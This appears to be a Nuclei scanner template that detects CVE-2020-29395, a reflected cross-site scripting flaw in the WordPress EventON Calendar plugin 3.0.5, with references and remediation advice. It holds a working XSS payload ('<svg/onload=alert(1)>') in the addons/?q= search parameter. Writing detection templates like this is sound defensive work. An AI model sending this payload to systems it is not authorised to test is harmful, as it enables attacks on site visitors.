id: CVE-2020-29395

info:
  name: Wordpress EventON Calendar 3.0.5 - Cross-Site Scripting
  author: daffainfo
  severity: medium
  description: Wordpress EventON Calendar 3.0.5 is vulnerable to cross-site scripting because it allows addons/?q= XSS via the search field.
  remediation: |
    Update to the latest version of the Wordpress EventON Calendar plugin (3.0.6) to mitigate this vulnerability.
  reference:
    - https://github.com/mustgundogdu/Research/tree/main/EventON_PLUGIN_XSS
    - https://www.myeventon.com/news/
    - https://nvd.nist.gov/vuln/detail/CVE-2020-29395
    - http://packetstormsecurity.com/files/160282/WordPress-EventON-Calendar-3.0.5-Cross-Site-Scripting.html
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2020-29395
    cwe-id: CWE-79
    epss-score: 0.05489
    epss-percentile: 0.92226
    cpe: cpe:2.3:a:myeventon:eventon:*:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 1
    vendor: myeventon
    product: eventon
    framework: wordpress
  tags: cve,cve2020,wordpress,xss,wp-plugin,packetstorm

http:
  - method: GET
    path:
      - '{{BaseURL}}/addons/?q=%3Csvg%2Fonload%3Dalert(1)%3E'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "<svg/onload=alert(1)>"

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200